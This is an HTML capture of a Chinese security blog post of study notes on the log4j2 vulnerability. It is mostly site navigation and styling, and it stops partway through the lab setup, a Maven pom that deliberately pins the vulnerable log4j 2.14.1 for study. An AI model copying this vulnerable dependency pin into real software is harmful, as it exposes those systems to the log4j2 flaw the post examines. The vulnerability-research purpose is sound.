PageSourceSearch

https://lnng.top/posts/3947.html

html lnng.top collected 2026-10-09 22:08:11 UTC 72,913 bytes, 1,641 lines download raw bytes

1<!DOCTYPE HTML>
2<html lang="zh-CN">
3
4
5<head>
6    <meta charset="utf-8">
7    <meta name="keywords" content="log4j2漏洞学习笔记, HTML,CSS,JavaScript,php,python,linux,mysql等">
8    <meta name="description" content="专注web,分享生活,分享知识">
9    <meta http-equiv="X-UA-Compatible" content="IE=edge">
10    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
11    <meta name="renderer" content="webkit|ie-stand|ie-comp">
12    <meta name="mobile-web-app-capable" content="yes">
13    <meta name="format-detection" content="telephone=no">
14    <meta name="apple-mobile-web-app-capable" content="yes">
15    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
16    <!-- Global site tag (gtag.js) - Google Analytics -->
17
18
19    <title>log4j2漏洞学习笔记 | Script kiddie&#39;s life</title>
20    <link rel="icon" type="image/jpeg" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/favicon.jpg">
21
22    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/awesome/css/all.css">
23    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/materialize/materialize.min.css">
24    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/aos/aos.css">
25    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/animate/animate.min.css">
26    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/lightGallery/css/lightgallery.min.css">
27    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/css/matery.css">
28    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/css/my.css">
29
30    
30<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/jquery/jquery.min.js"></script>
30
31    
32<style type="text/css" lang="css">
33    #loading-container{
34        position: fixed;
35        top: 0;
36        left: 0;
37        min-height: 100vh;
38        width: 100vw;
39        z-index: 9999;
40        display: flex;
41        flex-direction: column;
42        justify-content: center;
43        align-items: center;
44        background: #FFF;
45        text-align: center;
46        /* loader页面消失采用渐隐的方式*/
47        -webkit-transition: opacity 1s ease;
48        -moz-transition: opacity 1s ease;
49        -o-transition: opacity 1s ease;
50        transition: opacity 1s ease;
51    }
52    .loading-image{
53        width: 120px;
54        height: 50px;
55        transform: translate(-50%);
56    }
57
58    .loading-image div:nth-child(2) {
59        -webkit-animation: pacman-balls 1s linear 0s infinite;
60        animation: pacman-balls 1s linear 0s infinite
61    }
62
63    .loading-image div:nth-child(3) {
64        -webkit-animation: pacman-balls 1s linear .33s infinite;
65        animation: pacman-balls 1s linear .33s infinite
66    }
67
68    .loading-image div:nth-child(4) {
69        -webkit-animation: pacman-balls 1s linear .66s infinite;
70        animation: pacman-balls 1s linear .66s infinite
71    }
72
73    .loading-image div:nth-child(5) {
74        -webkit-animation: pacman-balls 1s linear .99s infinite;
75        animation: pacman-balls 1s linear .99s infinite
76    }
77
78   .loading-image div:first-of-type {
79        width: 0;
80        height: 0;
81        border: 25px solid #49b1f5;
82        border-right-color: transparent;
83        border-radius: 25px;
84        -webkit-animation: rotate_pacman_half_up .5s 0s infinite;
85        animation: rotate_pacman_half_up .5s 0s infinite;
86    }
87    .loading-image div:nth-child(2) {
88        width: 0;
89        height: 0;
90        border: 25px solid #49b1f5;
91        border-right-color: transparent;
92        border-radius: 25px;
93        -webkit-animation: rotate_pacman_half_down .5s 0s infinite;
94        animation: rotate_pacman_half_down .5s 0s infinite;
95        margin-top: -50px;
96    }
97    @-webkit-keyframes rotate_pacman_half_up {0% {transform: rotate(270deg)}50% {transform: rotate(1turn)}to {transform: rotate(270deg)}}
98
99    @keyframes rotate_pacman_half_up {0% {transform: rotate(270deg)}50% {transform: rotate(1turn)}to {transform: rotate(270deg)}}
100
101    @-webkit-keyframes rotate_pacman_half_down {0% {transform: rotate(90deg)}50% {transform: rotate(0deg)}to {transform: rotate(90deg)}}
102
103    @keyframes rotate_pacman_half_down {0% {transform: rotate(90deg)}50% {transform: rotate(0deg)}to {transform: rotate(90deg)}}
104
105    @-webkit-keyframes pacman-balls {75% {opacity: .7}to {transform: translate(-100px, -6.25px)}}
106
107    @keyframes pacman-balls {75% {opacity: .7}to {transform: translate(-100px, -6.25px)}}
108
109
110    .loading-image div:nth-child(3),
111    .loading-image div:nth-child(4),
112    .loading-image div:nth-child(5),
113    .loading-image div:nth-child(6){
114        background-color: #49b1f5;
115        width: 15px;
116        height: 15px;
117        border-radius: 100%;
118        margin: 2px;
119        width: 10px;
120        height: 10px;
121        position: absolute;
122        transform: translateY(-6.25px);
123        top: 25px;
124        left: 100px;
125    }
126    .loading-text{
127        margin-bottom: 20vh;
128        text-align: center;
129        color: #2c3e50;
130        font-size: 2rem;
131        box-sizing: border-box;
132        padding: 0 10px;
133        text-shadow: 0 2px 10px rgba(0,0,0,0.2);
134    }
135    @media only screen and (max-width: 500px) {
136         .loading-text{
137            font-size: 1.5rem;
138         }
139    }
140    .fadeout {
141        opacity: 0;
142        filter: alpha(opacity=0);
143    }
144    /* logo出现动画 */
145    @-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}
146    @keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);}}
147 </style>
148 
148<script>
149(function () {
150    const loaded = function(){
151       setTimeout(function(){
152            const loader = document.getElementById("loading-container");
153            loader.className="fadeout" ;//使用渐隐的方法淡出loading page
154            // document.getElementById("body-wrap").style.display="flex";
155            setTimeout(function(){
156                loader.style.display="none";
157            },1000); 
158        },1000);//强制显示loading page 1s  
159    };
160    loaded();
161})()
162 </script>
162<meta name="generator" content="Hexo 4.2.0"><link rel="alternate" href="/atom.xml" title="Script kiddie's life" type="application/atom+xml">
163<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"><style type="text/css" lang="css">
164    #loading-container{
165        position: fixed;
166        top: 0;
167        left: 0;
168        min-height: 100vh;
169        width: 100vw;
170        z-index: 9999;
171        display: flex;
172        flex-direction: column;
173        justify-content: center;
174        align-items: center;
175        background: #FFF;
176        text-align: center;
177        /* loader页面消失采用渐隐的方式*/
178        -webkit-transition: opacity 1s ease;
179        -moz-transition: opacity 1s ease;
180        -o-transition: opacity 1s ease;
181        transition: opacity 1s ease;
182    }
183    .loading-image{
184        width: 120px;
185        height: 50px;
186        transform: translate(-50%);
187    }
188
189    .loading-image div:nth-child(2) {
190        -webkit-animation: pacman-balls 1s linear 0s infinite;
191        animation: pacman-balls 1s linear 0s infinite
192    }
193
194    .loading-image div:nth-child(3) {
195        -webkit-animation: pacman-balls 1s linear .33s infinite;
196        animation: pacman-balls 1s linear .33s infinite
197    }
198
199    .loading-image div:nth-child(4) {
200        -webkit-animation: pacman-balls 1s linear .66s infinite;
201        animation: pacman-balls 1s linear .66s infinite
202    }
203
204    .loading-image div:nth-child(5) {
205        -webkit-animation: pacman-balls 1s linear .99s infinite;
206        animation: pacman-balls 1s linear .99s infinite
207    }
208
209   .loading-image div:first-of-type {
210        width: 0;
211        height: 0;
212        border: 25px solid #49b1f5;
213        border-right-color: transparent;
214        border-radius: 25px;
215        -webkit-animation: rotate_pacman_half_up .5s 0s infinite;
216        animation: rotate_pacman_half_up .5s 0s infinite;
217    }
218    .loading-image div:nth-child(2) {
219        width: 0;
220        height: 0;
221        border: 25px solid #49b1f5;
222        border-right-color: transparent;
223        border-radius: 25px;
224        -webkit-animation: rotate_pacman_half_down .5s 0s infinite;
225        animation: rotate_pacman_half_down .5s 0s infinite;
226        margin-top: -50px;
227    }
228    @-webkit-keyframes rotate_pacman_half_up {0% {transform: rotate(270deg)}50% {transform: rotate(1turn)}to {transform: rotate(270deg)}}
229
230    @keyframes rotate_pacman_half_up {0% {transform: rotate(270deg)}50% {transform: rotate(1turn)}to {transform: rotate(270deg)}}
231
232    @-webkit-keyframes rotate_pacman_half_down {0% {transform: rotate(90deg)}50% {transform: rotate(0deg)}to {transform: rotate(90deg)}}
233
234    @keyframes rotate_pacman_half_down {0% {transform: rotate(90deg)}50% {transform: rotate(0deg)}to {transform: rotate(90deg)}}
235
236    @-webkit-keyframes pacman-balls {75% {opacity: .7}to {transform: translate(-100px, -6.25px)}}
237
238    @keyframes pacman-balls {75% {opacity: .7}to {transform: translate(-100px, -6.25px)}}
239
240
241    .loading-image div:nth-child(3),
242    .loading-image div:nth-child(4),
243    .loading-image div:nth-child(5),
244    .loading-image div:nth-child(6){
245        background-color: #49b1f5;
246        width: 15px;
247        height: 15px;
248        border-radius: 100%;
249        margin: 2px;
250        width: 10px;
251        height: 10px;
252        position: absolute;
253        transform: translateY(-6.25px);
254        top: 25px;
255        left: 100px;
256    }
257    .loading-text{
258        margin-bottom: 20vh;
259        text-align: center;
260        color: #2c3e50;
261        font-size: 2rem;
262        box-sizing: border-box;
263        padding: 0 10px;
264        text-shadow: 0 2px 10px rgba(0,0,0,0.2);
265    }
266    @media only screen and (max-width: 500px) {
267         .loading-text{
268            font-size: 1.5rem;
269         }
270    }
271    .fadeout {
272        opacity: 0;
273        filter: alpha(opacity=0);
274    }
275    /* logo出现动画 */
276    @-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}
277    @keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);}}
278 </style>
279 
279<script>
280(function () {
281    const loaded = function(){
282       setTimeout(function(){
283            const loader = document.getElementById("loading-container");
284            loader.className="fadeout" ;//使用渐隐的方法淡出loading page
285            // document.getElementById("body-wrap").style.display="flex";
286            setTimeout(function(){
287                loader.style.display="none";
288            },1000); 
289        },1000);//强制显示loading page 1s  
290    };
291    loaded();
292})()
293 </script>
293</head>
294
295
296
297 <div id="loading-container">
298     <p class="loading-text">玩命加载中 . . . </p> 
299     <div class="loading-image">
300         <div></div>
301         <div></div>
302         <div></div>
303         <div></div> 
304         <div></div>
305     </div>
306 </div><body>
307    <header class="navbar-fixed">
308    <nav id="headNav" class="bg-color nav-transparent">
309        <div id="navContainer" class="nav-wrapper container">
310            <div class="brand-logo">
311                <a href="/" class="waves-effect waves-light">
312                    
313                    <img src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/medias/logo.jpg" class="logo-img" alt="LOGO">
314                    
315                    <span class="logo-span">Script kiddie's life</span>
316                </a>
317            </div>
318            
319
320<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
321<ul class="right nav-menu">
322  
323  <li class="hide-on-med-and-down nav-item">
324    
325    <a href="/" class="waves-effect waves-light">
326      
327      <i class="fas fa-home" style="zoom: 0.6;"></i>
328      
329      <span>首页</span>
330    </a>
331    
332  </li>
333  
334  <li class="hide-on-med-and-down nav-item">
335    
336    <a href="/categories" class="waves-effect waves-light">
337
338      
339      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
340      
341      <span>文章分类</span>
342      <i class="fas fa-chevron-down" aria-hidden="true" style="zoom: 0.6;"></i>
343    </a>
344    <ul class="sub-nav menus_item_child ">
345      
346      <li>
347        <a href="/categories/web%E5%AE%89%E5%85%A8">
348          
349          <span>web安全</span>
350        </a>
351      </li>
352      
353      <li>
354        <a href="/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F">
355          
356          <span>内网渗透</span>
357        </a>
358      </li>
359      
360      <li>
361        <a href="/categories/CTF">
362          
363          <span>CTF</span>
364        </a>
365      </li>
366      
367      <li>
368        <a href="/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91">
369          
370          <span>安全开发</span>
371        </a>
372      </li>
373      
374      <li>
375        <a href="/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1">
376          
377          <span>代码审计</span>
378        </a>
379      </li>
380      
381      <li>
382        <a href="/categories/%E6%97%A0%E7%BA%BF%E5%AE%89%E5%85%A8">
383          
384          <span>无线安全</span>
385        </a>
386      </li>
387      
388    </ul>
389    
390  </li>
391  
392  <li class="hide-on-med-and-down nav-item">
393    
394    <a href="/" class="waves-effect waves-light">
395
396      
397      <i class="fas fa-bicycle" style="zoom: 0.6;"></i>
398      
399      <span>各种折腾</span>
400      <i class="fas fa-chevron-down" aria-hidden="true" style="zoom: 0.6;"></i>
401    </a>
402    <ul class="sub-nav menus_item_child ">
403      
404      <li>
405        <a href="/categories/%E5%8D%9A%E5%AE%A2">
406          
407          <span>博客</span>
408        </a>
409      </li>
410      
411      <li>
412        <a href="/categories/qq%E6%9C%BA%E5%99%A8%E4%BA%BA">
413          
414          <span>qq机器人</span>
415        </a>
416      </li>
417      
418      <li>
419        <a href="/categories/%E4%B8%AA%E4%BA%BA%E6%97%A5%E5%B8%B8">
420          
421          <span>个人日常</span>
422        </a>
423      </li>
424      
425    </ul>
426    
427  </li>
428  
429  <li class="hide-on-med-and-down nav-item">
430    
431    <a href="/" class="waves-effect waves-light">
432
433      
434      <i class="fas fa-sitemap" style="zoom: 0.6;"></i>
435      
436      <span>归档</span>
437      <i class="fas fa-chevron-down" aria-hidden="true" style="zoom: 0.6;"></i>
438    </a>
439    <ul class="sub-nav menus_item_child ">
440      
441      <li>
442        <a href="/tags">
443          
444          <i class="fas fa-tags" style="margin-top: -20px; zoom: 0.6;"></i>
445          
446          <span>文章标签</span>
447        </a>
448      </li>
449      
450      <li>
451        <a href="/archives">
452          
453          <i class="fas fa-archive" style="margin-top: -20px; zoom: 0.6;"></i>
454          
455          <span>时间轴</span>
456        </a>
457      </li>
458      
459    </ul>
460    
461  </li>
462  
463  <li class="hide-on-med-and-down nav-item">
464    
465    <a href="/about" class="waves-effect waves-light">
466      
467      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
468      
469      <span>关于我</span>
470    </a>
471    
472  </li>
473  
474  <li class="hide-on-med-and-down nav-item">
475    
476    <a href="/contact" class="waves-effect waves-light">
477      
478      <i class="fas fa-envelope" style="zoom: 0.6;"></i>
479      
480      <span>留言板</span>
481    </a>
482    
483  </li>
484  
485  <li class="hide-on-med-and-down nav-item">
486    
487    <a href="/friends" class="waves-effect waves-light">
488      
489      <i class="fas fa-address-book" style="zoom: 0.6;"></i>
490      
491      <span>友情链接</span>
492    </a>
493    
494  </li>
495  
496  <li>
497    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
498      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
499    </a>
500  </li>
501</ul>
502
503<div id="mobile-nav" class="side-nav sidenav">
504
505    <div class="mobile-head bg-color">
506        
507        <img src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/medias/logo.jpg" class="logo-img circle responsive-img">
508        
509        <div class="logo-name">Script kiddie's life</div>
510        <div class="logo-desc">
511            
512            专注web,分享生活,分享知识
513            
514        </div>
515    </div>
516
517    
518
519    <ul class="menu-list mobile-menu-list">
520        
521        <li class="m-nav-item">
522	  
523		<a href="/" class="waves-effect waves-light">
524			
525			    <i class="fa-fw fas fa-home"></i>
526			
527			首页
528		</a>
529          
530        </li>
531        
532        <li class="m-nav-item">
533	  
534		<a href="javascript:;">
535			
536				<i class="fa-fw fas fa-bookmark"></i>
537			
538			文章分类
539			<span class="m-icon"><i class="fas fa-chevron-right"></i></span>
540		</a>
541            <ul  style="background:  ;" >
542              
543                <li>   
544				
545                  <a href="/categories/web%E5%AE%89%E5%85%A8 " style="margin-left:75px";>
546				  
547		          <span>web安全</span>
548                  </a>
549                </li>
550              
551                <li>   
552				
553                  <a href="/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F " style="margin-left:75px";>
554				  
555		          <span>内网渗透</span>
556                  </a>
557                </li>
558              
559                <li>   
560				
561                  <a href="/categories/CTF " style="margin-left:75px";>
562				  
563		          <span>CTF</span>
564                  </a>
565                </li>
566              
567                <li>   
568				
569                  <a href="/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91 " style="margin-left:75px";>
570				  
571		          <span>安全开发</span>
572                  </a>
573                </li>
574              
575                <li>   
576				
577                  <a href="/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1 " style="margin-left:75px";>
578				  
579		          <span>代码审计</span>
580                  </a>
581                </li>
582              
583                <li>   
584				
585                  <a href="/categories/%E6%97%A0%E7%BA%BF%E5%AE%89%E5%85%A8 " style="margin-left:75px";>
586				  
587		          <span>无线安全</span>
588                  </a>
589                </li>
590               
591            </ul>
592          
593        </li>
594        
595        <li class="m-nav-item">
596	  
597		<a href="javascript:;">
598			
599				<i class="fa-fw fas fa-bicycle"></i>
600			
601			各种折腾
602			<span class="m-icon"><i class="fas fa-chevron-right"></i></span>
603		</a>
604            <ul  style="background:  ;" >
605              
606                <li>   
607				
608                  <a href="/categories/%E5%8D%9A%E5%AE%A2 " style="margin-left:75px";>
609				  
610		          <span>博客</span>
611                  </a>
612                </li>
613              
614                <li>   
615				
616                  <a href="/categories/qq%E6%9C%BA%E5%99%A8%E4%BA%BA " style="margin-left:75px";>
617				  
618		          <span>qq机器人</span>
619                  </a>
620                </li>
621              
622                <li>   
623				
624                  <a href="/categories/%E4%B8%AA%E4%BA%BA%E6%97%A5%E5%B8%B8 " style="margin-left:75px";>
625				  
626		          <span>个人日常</span>
627                  </a>
628                </li>
629               
630            </ul>
631          
632        </li>
633        
634        <li class="m-nav-item">
635	  
636		<a href="javascript:;">
637			
638				<i class="fa-fw fas fa-sitemap"></i>
639			
640			归档
641			<span class="m-icon"><i class="fas fa-chevron-right"></i></span>
642		</a>
643            <ul  style="background:  ;" >
644              
645                <li>   
646				
647                  <a href="/tags " style="margin-left:75px";>
648				  
649				   <i class="fa fas fa-tags" style="position: absolute;
649left:50px" ></i>
650			      
651		          <span>文章标签</span>
652                  </a>
653                </li>
654              
655                <li>   
656				
657                  <a href="/archives " style="margin-left:75px";>
658				  
659				   <i class="fa fas fa-archive" style="position: absolute;left:50px" ></i>
660			      
661		          <span>时间轴</span>
662                  </a>
663                </li>
664               
665            </ul>
666          
667        </li>
668        
669        <li class="m-nav-item">
670	  
671		<a href="/about" class="waves-effect waves-light">
672			
673			    <i class="fa-fw fas fa-user-circle"></i>
674			
675			关于我
676		</a>
677          
678        </li>
679        
680        <li class="m-nav-item">
681	  
682		<a href="/contact" class="waves-effect waves-light">
683			
684			    <i class="fa-fw fas fa-envelope"></i>
685			
686			留言板
687		</a>
688          
689        </li>
690        
691        <li class="m-nav-item">
692	  
693		<a href="/friends" class="waves-effect waves-light">
694			
695			    <i class="fa-fw fas fa-address-book"></i>
696			
697			友情链接
698		</a>
699          
700        </li>
701        
702        
703    </ul>
704</div>
705
706        </div>
707
708        
709    </nav>
710
711</header>
712
713    
714
715
716
717<div class="bg-cover pd-header post-cover" style="background-image: url('https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/medias/featureimages/21.jpg')">
718    <div class="container" style="right: 0px;left: 0px;">
719        <div class="row">
720            <div class="col s12 m12 l12">
721                <div class="brand">
722                    <h1 class="description center-align post-title">log4j2漏洞学习笔记</h1>
723                </div>
724            </div>
725        </div>
726    </div>
727</div>
728
729
730
731
732<main class="post-container content">
733
734    
735    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/tocbot/tocbot.css">
736<style>
737    #articleContent h1::before,
738    #articleContent h2::before,
739    #articleContent h3::before,
740    #articleContent h4::before,
741    #articleContent h5::before,
742    #articleContent h6::before {
743        display: block;
744        content: " ";
745        height: 100px;
746        margin-top: -100px;
747        visibility: hidden;
748    }
749
750    #articleContent :focus {
751        outline: none;
752    }
753
754    .toc-fixed {
755        position: fixed;
756        top: 64px;
757    }
758
759    .toc-widget {
760        width: 345px;
761        padding-left: 20px;
762    }
763
764    .toc-widget .toc-title {
765        margin: 35px 0 15px 0;
766        padding-left: 17px;
767        font-size: 1.5rem;
768        font-weight: bold;
769        line-height: 1.5rem;
770    }
771
772    .toc-widget ol {
773        padding: 0;
774        list-style: none;
775    }
776
777    #toc-content {
778        height: calc(100vh - 250px);
779        overflow: auto;
780    }
781
782    #toc-content ol {
783        padding-left: 10px;
784    }
785
786    #toc-content ol li {
787        padding-left: 10px;
788    }
789
790    #toc-content .toc-link:hover {
791        color: #42b983;
792        font-weight: 700;
793        text-decoration: underline;
794    }
795
796    #toc-content .toc-link::before {
797        background-color: transparent;
798        max-height: 25px;
799    }
800
801    #toc-content .is-active-link {
802        color: #42b983;
803    }
804
805    #toc-content .is-active-link::before {
806        background-color: #42b983;
807    }
808
809    #floating-toc-btn {
810        position: fixed;
811        right: 15px;
812        bottom: 76px;
813        padding-top: 15px;
814        margin-bottom: 0;
815        z-index: 998;
816    }
817
818    #floating-toc-btn .btn-floating {
819        width: 48px;
820        height: 48px;
821    }
822
823    #floating-toc-btn .btn-floating i {
824        line-height: 48px;
825        font-size: 1.4rem;
826    }
827</style>
828<div class="row">
829    <div id="main-content" class="col s12 m12 l9">
830        <!-- 文章内容详情 -->
831<div id="artDetail">
832    <div class="card">
833        <div class="card-content article-info">
834            <div class="row tag-cate">
835                <div class="col s7">
836                    
837                    <div class="article-tag">
838                        
839                            <a href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">
840                                <span class="chip bg-color">代码审计</span>
841                            </a>
842                        
843                            <a href="/tags/JAVA/">
844                                <span class="chip bg-color">JAVA</span>
845                            </a>
846                        
847                            <a href="/tags/log4j2/">
848                                <span class="chip bg-color">log4j2</span>
849                            </a>
850                        
851                    </div>
852                    
853                </div>
854                <div class="col s5 right-align">
855                    
856                    <div class="post-cate">
857                        <i class="fas fa-bookmark fa-fw icon-category"></i>
858                        
859                            <a href="/categories/Web%E5%AE%89%E5%85%A8/" class="post-category">
860                                Web安全
861                            </a>
862                        
863                    </div>
864                    
865                </div>
866            </div>
867
868            <div class="post-info">
869                
870                <div class="post-date info-break-policy">
871                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
872                    2024-02-27
873                </div>
874                
875
876                
877
878                
879
880                
881
882                 <span id="busuanzi_container_site_pv" style='display:none'></span> <i class="fa fa-eye fa-fw"></i>阅读次数:&nbsp;&nbsp; <span id="busuanzi_value_page_pv" ></span> 
883
884            </div>
885
886        </div>
887        <hr class="clearfix">
888        <div class="card-content article-card-content">
889            <div id="articleContent">
890                <h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>maven环境</p>
891<pre class=" language-xml"><code class="language-xml"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>project</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://maven.apache.org/POM/4.0.0<span class="token punctuation">"</span></span> <span class="token attr-name"><span class="token namespace">xmlns:</span>xsi</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/2001/XMLSchema-instance<span class="token punctuation">"</span></span>
892  <span class="token attr-name"><span class="token namespace">xsi:</span>schemaLocation</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
893  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>modelVersion</span><span class="token punctuation">></span></span>4.0.0<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>modelVersion</span><span class="token punctuation">></span></span>
894
895  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>top.lnng.log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>
896  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>
897  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>1.0-SNAPSHOT<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>
898  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>packaging</span><span class="token punctuation">></span></span>
898jar<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>packaging</span><span class="token punctuation">></span></span>
899
900  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span>log4j2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span>
901  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>url</span><span class="token punctuation">></span></span>http://maven.apache.org<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>url</span><span class="token punctuation">></span></span>
902
903  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>properties</span><span class="token punctuation">></span></span>
904    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>project.build.sourceEncoding</span><span class="token punctuation">></span></span>UTF-8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>project.build.sourceEncoding</span><span class="token punctuation">></span></span>
905  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>properties</span><span class="token punctuation">></span></span>
906
907  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependencies</span><span class="token punctuation">></span></span>
908    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>
909      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.logging.log4j<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>
910      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j-core<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>
911      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>2.14.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>
912    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>
913    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>
914      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.logging.log4j<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>
915      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>log4j-api<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>
916      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>2.14.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>
917    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>
918    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span>
919      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>junit<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>
920      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>junit<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>
921      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>3.8.1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span>
922      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>scope</span><span class="token punctuation">></span></span>test<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>scope</span><span class="token punctuation">></span></span>
923    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span>
924  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependencies</span><span class="token punctuation">></span></span>
925  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>build</span><span class="token punctuation">></span></span>
926    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>plugins</span><span class="token punctuation">></span></span>
927      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>plugin</span><span class="token punctuation">></span></span>
928        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>org.apache.maven.plugins<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span>
